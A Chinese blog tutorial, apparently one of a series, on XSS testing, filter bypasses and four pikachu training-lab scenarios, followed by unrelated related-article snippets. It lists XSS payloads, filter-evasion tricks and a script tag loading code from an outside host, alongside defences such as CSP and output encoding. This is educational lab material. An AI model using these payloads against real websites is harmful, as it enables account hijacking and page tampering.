Web漏洞-XSS繞過和pikachu靶場4個場景(三)

★★實戰前置聲明★★
文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將其信息做其他用途,由用戶承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。

1、XSS漏洞挖掘與繞過

1.1、XSS漏洞挖掘

數據交互(輸入/輸出)的地方最容易產生跨站腳本,最重要的是考慮輸入、輸出在什么地方。一般常會對網站的輸入框、URL參數、COOKIE、POST表單、HTTP頭內容進行測試。

1.2、手工測試XSS步驟

1、找到測試點,比如搜索框、留言板。

2、根據測試流程首先實驗一些特殊符號的輸入,發現可以正常輸出,說明后端并沒有進行相關的過濾。比如:'<>?"&/6666

3、如果有過濾則進行相關的繞過。

1.3、XSS常見POC

常見XSS語句<script>標簽

<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
'><script>alert(1)</script>

常見XSS語句<img>標簽

<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)> //版本,E7.0|IE6.0,才能執行  
<img src=# onmouseover="alert(1)">

常見XSS語句<a>標簽

"> <a href=javascript:alert('xss') > xss</a>
"> <a href="" οnclick="alert(1)"> xss</a>
1.4、XSS漏洞繞過方法
// 1.大小寫繞過
<ScRiPt>alert(1)</ScRiPt>
// 2.雙寫繞過
<sc<script>ript>alert(/xss/)</script>
// 3.反引號繞過
`` 繞過單雙引號的過濾
// 4.關閉標簽(利用<>關閉標簽)
"> <script>alert(1)</script>
// 5.超鏈接標簽
< a href= > 1 </ a>
// 6.圖片鏈接繞過
< img src=1 onerror=alert(1)>
// 7.編碼繞過
-- 八進制、十進制、十六進制編碼、html實體編碼、url編碼、base64等   
// 8.空格、回車、換行符、tab、混淆

2、XSS漏洞防御

2.1、CSP內容安全策略

CSP全稱:Content Security Policy,內容安全策略:禁止加載外域代碼,防止復雜的攻擊邏輯;禁止外域提交,網站被攻擊后,用戶數據不會泄露到外域;禁止內聯腳本執行(規則較嚴格);禁止未授權的腳本執行。

2.2、設置HttpOnly

通過設置HttpOnly防止cookie被竊取

2.3、輸入輸出檢查

前端js和后端(php)完善的過濾機制:輸入驗證和輸出編碼。也可以做硬件防護:WAF和數據庫安全等。

< 轉成&lt;
> 轉成&gt;       
& 轉成&amp    
" 轉成&quot
' 轉成&#39
2.4、白名單或者黑名單

白名單驗證:檢查用戶提交的數據,只接受指定長度范圍內,適當格式和預期字符的輸入,其余一律過濾。

黑名單驗證:過濾包含XSS代碼特征的內容,比如:<、 >、script、#

3、pikachu靶場4個場景實驗

3.0、總體思路說明

先隨便填寫提交,看界面展示數據,右擊查看頁面源碼數據是與回顯一樣,然后根據數據結構確定構建poc提交驗證。

測試驗證內容

'<>?"&/6666
3.1、xss之過濾
3.1.1、正常操作

輸入’<>?"&/6666,發現顯示有點奇怪,按F12看源碼發現內容回顯,被單引號包起來,界面顯示如下:

在這里插入圖片描述

3.1.2、查看源碼

輸入如下內容,按F2看源碼,發現輸入的內容script標簽的內容全部被過濾掉了

我測試一下'<script>alert(1)</script>

在這里插入圖片描述

3.1.3、確定攻擊poc

以下是驗證通過的poc

<ScRiPt>alert(1)</ScRiPt>
<svg onload=alert(1)>
<body onload=alert(1)>
<input type=image src=1 onerror=alert(1)>

在這里插入圖片描述

3.2、xss之htmlspecialchars
3.2.1、正常操作

輸入’<>?"&/6666,界面顯示如下:

在這里插入圖片描述

3.2.2、查看源碼

查看源碼,發現輸入的內容,是填充在a標簽的href和標簽內,有被編碼過的,href是用單引號的。

在這里插入圖片描述

3.2.3、確定攻擊poc

攻擊poc就可以采用a標簽彈窗方式的語句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的內容需要用雙引號,或者用數字的方式。

驗證成功的poc

javascript:alert("test")
javascript:alert(123)

在這里插入圖片描述

3.3、xss之href輸出
3.3.1、正常操作

輸入’<>?"&/6666,界面顯示如下:

在這里插入圖片描述

3.3.2、查看源碼

查看源碼,發現輸入的內容,是填充在a標簽的href內,沒有被編碼過的。

3.3.3、確定攻擊poc

攻擊poc就可以采用a標簽彈窗方式的語句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的內容用單/雙引號都可,或者用數字的方式。

驗證成功的poc

javascript:alert('test')
javascript:alert("test")
javascript:alert(123)

在這里插入圖片描述

3.4、xss之js輸出
3.4.1、正常操作

輸入’<>?"&/6666,不顯示任何東西,換成123嘗試,界面顯示如下:

在這里插入圖片描述

3.4.2、查看源碼

根據上面顯示的內容,定位到p標簽有一個id=“fromjs”,嘗試搜索關鍵字:fromjs,發現頁面有一段javascript代碼,因此采用嘗試閉合標簽的方式。

在這里插入圖片描述

3.4.3、確定攻擊poc

驗證成功的poc

</script><script>alert(1)</script>
</script><svg onload=alert(1)>
</script><img src=1 onerror=alert(1)>

在這里插入圖片描述

4、總結

本文是Web漏洞-XSS攻擊的第三篇,至此XSS攻擊相關內容就告一段落。當時在做pikachu靶場實驗【XSS之js輸出】時完全沒有頭緒,前面9個實驗的POC都無效,后來問了我的老師給我提示,查看源碼了嘗試閉合標簽的方式,就瞬間明白了。有時知道一個知識點,到實際運用還是會懵,因此需要多練。與大家共勉。

后面會有CSRF、SSRF,SQL注入等內容的分享,其中SQL注入內容會比較多。還有一些PHP,Python編程的基礎知識,如果大家感興趣的話,可以留言反饋,我再整理出來分享也可以。

5、資料獲取

靶場環境搭建請參考《靶場環境搭建【XP、pikachu、dvwa、sqli-labs】》

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/210317.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/210317.shtml
英文地址,請注明出處:http://en.pswp.cn/news/210317.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

排序算法---冒泡排序

1. 原理 對數組進行遍歷&#xff0c;每次對相鄰的兩個元素進行比較&#xff0c;如果大的在前面&#xff0c;則交換兩個元素的位置&#xff0c;完成一趟遍歷后&#xff0c;數組中最大的數值到了數組的末尾。再對前面n-1個數值進行相同的遍歷。一共完成n-1趟遍歷就實現了排序。 1…

代碼隨想錄 63. 不同路徑 II

題目 一個機器人位于一個 m x n 網格的左上角 &#xff08;起始點在下圖中標記為 “Start” &#xff09;。 機器人每次只能向下或者向右移動一步。機器人試圖達到網格的右下角&#xff08;在下圖中標記為 “Finish”&#xff09;。 現在考慮網格中有障礙物。那么從左上角到右下…

UI界面程序鼠標右鍵彈出菜單的一些事

1.概述 在做客戶端UI程序時&#xff0c;鼠標右鍵彈出菜單這種操作非常常見&#xff0c;一般在鼠標右鍵按下或者鼠標右鍵抬起事件中響應操作&#xff0c;顯示菜單即可&#xff0c;但是有時涉及到鼠標的移動&#xff0c;就是鼠標按下右鍵且移動時&#xff0c;則不需要彈出菜單&a…

104. 二叉樹的最大深度(Java)

目錄 解法&#xff1a; 官方解答&#xff1a; 方法一&#xff1a;深度優先搜索 方法二&#xff1a;廣度優先搜索 思路與算法 復雜度分析 時間復雜度&#xff1a; 空間復雜度&#xff1a; 給定一個二叉樹 root &#xff0c;返回其最大深度。 二叉樹的 最大深度 是指從根…

【密碼學引論】數字簽名

第八章 數字簽名 1、數字簽名體制包括兩個方面&#xff1a;施加簽名、驗證簽名 SIG(M,Kd)S VER(S,Ke)bool&#xff08;真、假&#xff09; 2、數字簽名和信息加密的區別&#xff08;從密碼學五個組成部分來回答 3、安全性要求&#xff1a;先簽名后加密&#xff1b;針對哈希函…

如何入門網絡安全_網絡安全自學

由于我之前寫了不少網絡安全技術相關的故事文章&#xff0c;不少讀者朋友知道我是從事網絡安全相關的工作&#xff0c;于是經常有人在微信里問我&#xff1a; 我剛入門網絡安全&#xff0c;該怎么學&#xff1f;要學哪些東西&#xff1f;有哪些方向&#xff1f;怎么選&#xff…

算法:合并兩個有序數組(雙指針)

時間復雜度 O(m n)&#xff0c;空間復雜度 O(1) /*** param {number[]} nums1* param {number} m* param {number[]} nums2* param {number} n* return {void} Do not return anything, modify nums1 in-place instead.*/ var merge function(nums1,m,nums2,n) {let p1 m-1…

harmonyOS學習筆記之@Styles裝飾器與@Extend裝飾器

Styles裝飾器 定義組件重用樣式 自定義樣式函數使用裝飾器 可以定義在組件內或全局,內部優先級>外部,內部不需要function,外部需要function 定義在組件內的styles可以通過this訪問組件內部的常量和狀態變量,可以在styles里通過事件來改變狀態變量 弊端:只支持通用屬性和通用…

深度模型訓練時CPU或GPU的使用model.to(device)

一、使用device控制使用CPU還是GPU device torch.device("cuda:0" if torch.cuda.is_available() else "cpu") # 單GPU或者CPU.先判斷機器上是否存在GPU&#xff0c;沒有則使用CPU訓練 model model.to(device) data data.to(device)#或者在確定有GPU的…

解決 Cannot read properties of undefined (reading ‘getUserMedia‘) 報錯

[TOC](解決 Cannot read properties of undefined (reading ‘getUserMedia’) 報錯) 0. 背景 使用瀏覽器輸入語音時&#xff0c;瀏覽器的控制臺里面有下面錯誤信息。 Cannot read properties of undefined (reading getUserMedia)1. 解決方法 在瀏覽器中訪問 chrome://fla…

半導體材料

半導體材料 電子元器件百科 文章目錄 半導體材料前言一、半導體材料是什么二、半導體材料的類別三、半導體材料的應用實例四、半導體材料的作用原理總結前言 半導體材料具有獨特的電學性質,使其在電子器件和集成電路中有廣泛的應用。通過控制半導體材料中載流子的濃度和運動方…

數字化浪潮下,你的企業數字化轉型了嗎?

企業數字化轉型面臨的挑戰 技術轉型挑戰&#xff1a;數字化轉型涉及到各種新技術、新軟件和新硬件&#xff0c;需要企業有一定的技術實力和專業知識&#xff0c;并且需要不斷學習和適應變化。對于傳統企業來說&#xff0c;可能面臨技術門檻高、技術更新快等問題。組織結構轉型…

如何用flex布局設計登錄頁?

使用 Flex 布局設計登錄頁是一種簡單而靈活的方式&#xff0c;讓頁面在不同屏幕大小下都能有良好的布局。以下是一個簡單的例子&#xff0c;演示如何使用 Flex 布局設計登錄頁&#xff1a; HTML 結構&#xff1a; <!DOCTYPE html> <html lang"en"> <…

從Android源碼中生成系統簽名文件

從Android源碼中生成系統簽名文件 文章目錄 從Android源碼中生成系統簽名文件1、在linux中打開編譯android源碼目錄。2、cd到簽名文件位置3、生成 platform.pem文件4、生成 platform.p12 文件5、生成 最終的 platform.jks系統簽名文件6、把platform.jks 放到Studio 項目app 根目…

word中,文本框如何跨頁?

我們經常使用word編輯一些文檔&#xff0c;文檔中往往會有一些比較大的文本框&#xff0c;需要跨多頁&#xff0c;我們可以使用本文章中的方法&#xff0c;將文本框連接在一起&#xff0c;是的內容自動跨頁。 在文字中插入兩個文本框如下圖&#xff1a; 將內容放到第一個文本框…

ubuntu上搭建bazel編譯環境,構建Android APP

背景是github上下載的工程&#xff0c;說明僅支持bazel編譯&#xff0c;折騰了一天Android studio&#xff0c;失敗。 不得不嘗試單價bazel編譯環境&#xff0c;并不復雜&#xff0c;過程記錄如下 說明&#xff1a;ubuntu環境是20.04&#xff0c;pve虛擬機安裝 1.安裝jdk sudo…

Android audio環形緩沖隊列

1、背景 在學習audio的過程中&#xff0c;看到了大神zyuanyun的博客&#xff0c;在博客的結尾&#xff0c;大神留下了這些問題&#xff1a; 但是大神沒有出后續的博文來說明audio環形緩沖隊列的具體實現&#xff0c;這勾起了我強烈的好奇心。經過一段時間的走讀代碼&#xff…

樸素貝葉斯 樸素貝葉斯原理

樸素貝葉斯 樸素貝葉斯原理 判別模型和生成模型 監督學習方法又分生成方法 (Generative approach) 和判別方法 (Discriminative approach)所學到的模型分別稱為生成模型 (Generative Model) 和判別模型 (Discriminative Model)。 樸素貝葉斯原理 樸素貝葉斯法是典型的生成學習…

深度學習之全面了解網絡架構

在這篇文章中&#xff0c;我們將和大家探討“深度學習中的網絡架構”這個主題&#xff0c;解釋相關背景知識&#xff0c;并就一些問題進行解答。 我選擇的問題反映的是常見用法&#xff0c;而不是學術用例。我將概括介紹該主題&#xff0c;然后探討以下四個問題&#xff1a; …

Java的I/O演進之路

文章目錄 通信技術整體解決的問題1 I/O 模型基本說明2 I/O模型Java BIOJava NIOJava AIO 3 BIO、NIO、AIO 適用場景分析 通信技術整體解決的問題 局域網內的通信要求。多系統間的底層消息傳遞機制。高并發下&#xff0c;大數據量的通信場景需要。游戲行業。無論是手游服務端&a…